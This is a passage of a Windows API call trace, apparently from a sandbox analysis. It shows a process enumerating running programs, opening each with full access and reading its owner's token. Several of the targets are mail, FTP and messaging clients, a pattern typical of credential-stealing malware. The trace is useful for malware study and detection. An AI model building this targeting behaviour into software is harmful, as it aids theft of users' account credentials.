	[0132.011] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.012] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7130, cchName=0x1948f8, ReferencedDomainName=0x4015a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.013] GetProcessHeap () returned 0x380000
	[0132.014] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.014] CloseHandle (hObject=0x160) returned 1
	[0132.014] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0132.016] SetLastError (dwErrCode=0x0) 
	[0132.016] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x94c) returned 0x160
	[0132.017] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x24c) returned 1
	[0132.017] GetTokenInformation (in: TokenHandle=0x24c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.017] GetProcessHeap () returned 0x380000
	[0132.017] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.017] GetTokenInformation (in: TokenHandle=0x24c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.017] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.019] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7170, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.020] GetProcessHeap () returned 0x380000
	[0132.020] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.021] CloseHandle (hObject=0x160) returned 1
	[0132.021] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0132.024] SetLastError (dwErrCode=0x0) 
	[0132.024] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x95c) returned 0x160
	[0132.024] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x258) returned 1
	[0132.024] GetTokenInformation (in: TokenHandle=0x258, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.024] GetProcessHeap () returned 0x380000
	[0132.024] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.024] GetTokenInformation (in: TokenHandle=0x258, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.024] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.026] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7130, cchName=0x1948f8, ReferencedDomainName=0x401580, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.028] GetProcessHeap () returned 0x380000
	[0132.028] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.028] CloseHandle (hObject=0x160) returned 1
	[0132.028] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0132.030] SetLastError (dwErrCode=0x0) 
	[0132.030] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x96c) returned 0x160
	[0132.031] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x174) returned 1
	[0132.031] GetTokenInformation (in: TokenHandle=0x174, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.031] GetProcessHeap () returned 0x380000
	[0132.031] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.031] GetTokenInformation (in: TokenHandle=0x174, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.031] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.033] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7170, cchName=0x1948f8, ReferencedDomainName=0x4015a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.034] GetProcessHeap () returned 0x380000
	[0132.035] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.035] CloseHandle (hObject=0x160) returned 1
	[0132.035] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0132.042] SetLastError (dwErrCode=0x0) 
	[0132.042] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x980) returned 0x160
	[0132.042] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x260) returned 1
	[0132.042] GetTokenInformation (in: TokenHandle=0x260, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.042] GetProcessHeap () returned 0x380000
	[0132.042] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.042] GetTokenInformation (in: TokenHandle=0x260, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.042] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.044] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7130, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.045] GetProcessHeap () returned 0x380000
	[0132.045] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.046] CloseHandle (hObject=0x160) returned 1
	[0132.046] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0132.368] SetLastError (dwErrCode=0x0) 
	[0132.368] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x990) returned 0x160
	[0132.368] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x25c) returned 1
	[0132.368] GetTokenInformation (in: TokenHandle=0x25c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.369] GetProcessHeap () returned 0x380000
	[0132.369] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.369] GetTokenInformation (in: TokenHandle=0x25c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.369] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.371] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7170, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.372] GetProcessHeap () returned 0x380000
	[0132.372] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.372] CloseHandle (hObject=0x160) returned 1
	[0132.372] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0132.375] SetLastError (dwErrCode=0x0) 
	[0132.375] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9a0) returned 0x160
	[0132.375] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x264) returned 1
	[0132.376] GetTokenInformation (in: TokenHandle=0x264, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.376] GetProcessHeap () returned 0x380000
	[0132.376] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.376] GetTokenInformation (in: TokenHandle=0x264, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.376] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.378] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7130, cchName=0x1948f8, ReferencedDomainName=0x401580, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.379] GetProcessHeap () returned 0x380000
	[0132.380] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.380] CloseHandle (hObject=0x160) returned 1
	[0132.380] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
	[0132.383] SetLastError (dwErrCode=0x0) 
	[0132.383] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9b0) returned 0x160
	[0132.383] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x268) returned 1
	[0132.383] GetTokenInformation (in: TokenHandle=0x268, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.384] GetProcessHeap () returned 0x380000
	[0132.384] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.384] GetTokenInformation (in: TokenHandle=0x268, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.384] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.385] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7170, cchName=0x1948f8, ReferencedDomainName=0x401660, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.387] GetProcessHeap () returned 0x380000
	[0132.387] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.387] CloseHandle (hObject=0x160) returned 1
	[0132.387] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0132.390] SetLastError (dwErrCode=0x0) 
	[0132.390] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9c0) returned 0x160
	[0132.391] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x26c) returned 1
	[0132.391] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.391] GetProcessHeap () returned 0x380000
	[0132.391] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.391] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.392] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.393] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7130, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.395] GetProcessHeap () returned 0x380000
	[0132.395] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.395] CloseHandle (hObject=0x160) returned 1
	[0132.395] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0132.397] SetLastError (dwErrCode=0x0) 
	[0132.397] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9d0) returned 0x160
	[0132.398] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x270) returned 1
	[0132.398] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.398] GetProcessHeap () returned 0x380000
	[0132.398] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.398] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.398] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.400] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7170, cchName=0x1948f8, ReferencedDomainName=0x401580, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.401] GetProcessHeap () returned 0x380000
	[0132.401] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.402] CloseHandle (hObject=0x160) returned 1
	[0132.402] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0132.404] SetLastError (dwErrCode=0x0) 
	[0132.404] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9e0) returned 0x160
	[0132.404] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x274) returned 1
	[0132.404] GetTokenInformation (in: TokenHandle=0x274, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.405] GetProcessHeap () returned 0x380000
	[0132.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.405] GetTokenInformation (in: TokenHandle=0x274, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.405] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.406] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7130, cchName=0x1948f8, ReferencedDomainName=0x401660, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.549] GetProcessHeap () returned 0x380000
	[0132.549] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.549] CloseHandle (hObject=0x160) returned 1
	[0132.549] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
